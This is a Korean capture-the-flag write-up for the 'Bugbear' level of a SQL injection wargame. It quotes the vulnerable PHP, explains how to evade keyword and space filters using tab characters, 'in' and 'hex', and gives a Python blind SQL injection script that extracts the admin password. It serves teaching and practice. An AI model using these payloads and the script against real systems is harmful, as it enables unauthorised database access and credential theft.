[LOS] 13. Bugbear

힌트

  • likein로 우회 가능
  • ordhex로 우회 가능
  • 모르겠으면 이전 문제 확인해보면 됨

풀이

코드 해석

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

이 문제는 직전에 풀었던 Darkknight 문제에 추가적인 필터링을 더한 문제이다.
이 문제는 저번 문제에서 필터링 당한 =, substr, ', ascii를 제외하고도 공격을 수행하는데 필수적이었던 like가 추가로 필터링 당했다.
거기에 추가로 or를 필터링하였는데 이 때문에 ord도 필터링을 당했다.

문제 풀이

Blind SQL injection

이전 문제에서 사용하던 기법을 그대로 사용하고 추가로 필터링 된 기법만 우회를 해주면 된다.
=의 필터링을 해주던 like도 필터링 당했으므로 in을 사용해주면 된다.
자세한 문법은 w3school에 잘 나와 있다. (이 사이트가 최고다)

그리고 대문자와 소문자를 구별해주던 asciiord 함수가 미국 갔으므로 앞선 2개를 대체할 수 있는 hex 함수을 이용해야 한다.

위 방식을 응용하여 비밀번호의 길이가 8자리인 것을 알아냈다.
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%09||%09id%09in%09(%22admin%22)%09%26%26%09length(pw)%3E7%26%26length(pw)%3C9

이를 기반으로 블라인드 SQL 인젝션을 위한 스크립트를 짜보았다.

# -*- coding: utf-8 -*-
import urllib.request

answer = ""
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
session_id = "PHPSESSID="+"rcgm263oqae8tnvs1c4urdm6hl"

url_start = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"+'?'



for i in range(1, 9):
    try:
        for j in range(33, 128):
            url = url_start+'no=1%09||%09id%09in%09(%22admin%22)%09%26%26%09hex(mid(pw,{},1))%09in%09(hex({}))'.format(i,j)

            print(url)

            req = urllib.request.Request(url) #엔터 치기전 상태
            req.add_header('User-agent', user_agent) #헤더값 설정(los가 뱉어냄)
            req.add_header("Cookie", session_id)

            res = urllib.request.urlopen(req) # 엔터누른 효과
            data = res.read().decode('utf-8') # 본문만 가져오기

            if data.find('<h2>Hello admin</h2>') != -1:
                print(chr(j))
                answer = answer + chr(j)
                break
    except Exception as e:
        continue

print(answer)


스크립트를 실행해보면 비밀번호는 52dc3991이 나온다.

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=52dc3991

좋은 웹페이지 즐겨찾기